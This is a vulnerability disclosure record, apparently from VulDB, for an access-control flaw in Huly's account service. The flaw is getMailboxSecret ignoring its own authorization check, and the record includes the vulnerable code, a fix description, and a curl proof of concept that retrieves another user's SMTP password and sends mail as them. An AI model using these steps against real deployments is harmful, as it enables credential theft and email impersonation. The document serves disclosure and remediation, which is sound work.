| Title | Huly hcengineering/platform <= 0.7.0 (confirmed on commit 18ef71b) Improper Access Controls |
|---|
| Description | Title: Mailbox SMTP Secret Disclosure via Discarded Authorization Check Return Value
Package: hcengineering/platform
Affected Versions: <= 0.7.0 (confirmed on commit 18ef71b)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-284 -- Improper Access Control
## GitHub Advisory
### Summary
The `getMailboxSecret` RPC method in Huly's account service returns the SMTP app
password for any mailbox to any authenticated user. A service-level authorization
check is called with `shouldThrow=false`, causing it to return a boolean instead of
raising an exception on failure. The return value is silently discarded, so the check
is completely unenforced. Any user with a valid session token can retrieve the SMTP
credential for any other user's mailbox, enabling them to send email as that user.
### Details
The account service exposes an RPC interface over `POST /` (Koa router in
`server/account-service/src/index.ts:380`). Any method registered in the `AccountMethods`
map is callable by any authenticated user unless the handler enforces stricter access.
The vulnerable handler is `getMailboxSecret` in
`server/account/src/operations.ts:2526-2538`:
```typescript
async function getMailboxSecret (
ctx: MeasureContext,
db: AccountDB,
branding: Branding | null,
token: string,
params: { mailbox: string }
): Promise<MailboxSecret | null> {
const { extra } = decodeTokenVerbose(ctx, token)
verifyAllowedServices(['huly-mail'], extra, false) // ← return value discarded
return await db.mailboxSecret.findOne({ mailbox: params.mailbox })
}
```
`verifyAllowedServices` is defined in `server/account/src/utils.ts:1726-1733`:
```typescript
export function verifyAllowedServices (services: string[], extra: any, shouldThrow = true): boolean {
const ok = services.includes(extra?.service)
if (!ok && shouldThrow) {
throw new PlatformError(new Status(Severity.ERROR, platform.status.Forbidden, {}))
}
return ok
}
```
When called with `shouldThrow=false`, the function returns `false` for non-service
tokens but does not throw. The handler ignores the return value and unconditionally
proceeds to query the database, returning the `MailboxSecret` record which contains
the SMTP app password (`secret` field).
Every other call site in the codebase that uses `shouldThrow=false` correctly assigns
and checks the boolean:
- `server/account/src/serviceOperations.ts:725` -- `const isAllowedService = verifyAllowedServices(..., false); if (!isAllowedService) { ... }`
- `server/account/src/serviceOperations.ts:766` -- same pattern
- `server/account/src/operations.ts:2716` -- `const allowedService = verifyAllowedServices(..., false); if (!allowedService) { ... }`
Line 2536 is the sole instance where the return value is thrown away.
The `getMailboxSecret` method is registered in the public dispatch table
(`server/account/src/operations.ts:3245, 3348`):
```typescript
// Type union includes:
| 'getMailboxSecret'
// Dispatch map:
getMailboxSecret: wrap(getMailboxSecret),
```
`getMailboxes` (line 2516-2524) correctly scopes by the authenticated account UUID:
```typescript
async function getMailboxes(...) {
const { account } = decodeTokenVerbose(ctx, token)
return await db.mailbox.find({ accountUuid: account }) // scoped to caller
}
```
But `getMailboxSecret` takes an arbitrary `mailbox` address with no ownership check.
### PoC
Prerequisites: A running Huly instance with the huly-mail service configured and at
least one user who has a mailbox set up. Two standard user accounts: alice (victim)
and bob (attacker). Both have valid JWT session tokens.
**Step 1: Obtain a valid user token for bob (attacker)**
```bash
BOB_TOKEN=$(curl -s -X POST https://huly-host/api/v1/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"BobPassword123"}' \
| jq -r '.token')
```
**Step 2: Discover alice's mailbox address**
Alice's mailbox address can be obtained from the Huly UI, a shared workspace member
list, or by calling `getMailboxes` as alice. For this PoC, assume alice's mailbox is
`[email protected]`.
**Step 3: Call getMailboxSecret as bob, supplying alice's mailbox**
```bash
curl -s -X POST https://huly-host/ \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $BOB_TOKEN" \
-d '{"method":"getMailboxSecret","params":{"mailbox":"[email protected]"}}'
```
Expected response:
```json
{
"result": {
"mailbox": "[email protected]",
"secret": "smtp-app-password-here"
}
}
```
**Step 4: Use the secret to authenticate to the mail server as alice**
```bash
curl -s --url "smtp://huly-mail-server:587" \
--user "[email protected]:smtp-app-password-here" \
--mail-from "[email protected]" \
--mail-rcpt "[email protected]" \
--upload-file message.txt
```
No elevated privilege is required. Any valid user session token suffices.
### Impact
Any authenticated user can retrieve the SMTP application password for any other
user's Huly mailbox. The attacker can then authenticate to the mail server and send
arbitrary email impersonating the victim. In a multi-tenant Huly deployment this
affects all users who have a mailbox configured. The fix is to assign the return
value of `verifyAllowedServices` and throw or return when it is `false`. |
|---|
| Source | ⚠️ https://github.com/hcengineering/platform |
|---|
| User | geochen (UID 78995) |
|---|
| Submission | 05/19/2026 10:10 (27 days ago) |
|---|
| Moderation | 06/14/2026 14:38 (26 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 370854 [hcengineering Huly Platform up to 0.7.0 RPC Interface operations.ts getMailboxSecret access control] |
|---|
| Points | 20 |
|---|